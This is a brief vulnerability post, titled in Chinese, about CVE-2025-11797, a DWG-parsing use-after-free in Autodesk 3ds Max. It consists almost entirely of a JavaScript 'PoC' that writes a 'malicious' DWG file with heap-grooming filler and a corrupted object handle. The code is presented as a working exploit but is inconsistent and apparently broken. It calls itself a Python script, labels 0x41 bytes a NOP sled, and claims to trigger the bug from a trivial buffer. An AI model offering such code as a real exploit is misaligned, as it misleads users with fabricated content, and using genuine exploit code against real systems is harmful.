CVE-2025-11797: Autodesk 3ds Max DWG文件解析Use-After-Free高危漏洞

// CVE-2025-11797 PoC - Malicious DWG File Triggering Use-After-Free // This PoC demonstrates the structure needed to trigger the vulnerability // NOTE: Actual DWG binary manipulation requires specialized tools // Example Python script to generate a minimal malicious DWG trigger const fs = require('fs'); // DWG file header structure (simplified) function createMaliciousDWG() { const header = Buffer.alloc(16); header.write('AC1015', 0, 6, 'ascii'); // 3ds Max 2000 format marker header.writeUInt32LE(0x1000, 6); // Version info // Malicious section markers that trigger UAF condition const maliciousSection = Buffer.alloc(256); maliciousSection.write('HEADER', 0, 6, 'ascii'); // Inject heap grooming data for (let i = 16; i < 256; i++) { maliciousSection[i] = 0x41; // NOP sled } // Object handle table corruption const objectTable = Buffer.alloc(128); objectTable.writeUInt32LE(0xDEADBEEF, 0); // Corrupted handle return Buffer.concat([header, maliciousSection, objectTable]); } // Save malicious DWG file const pocDWG = createMaliciousDWG(); fs.writeFileSync('CVE-2025-11797-malicious.dwg', pocDWG); console.log('[+] PoC DWG file created: CVE-2025-11797-malicious.dwg'); console.log('[+] File size:', pocDWG.length, 'bytes'); console.log('[!] This PoC triggers Use-After-Free in Autodesk 3ds Max');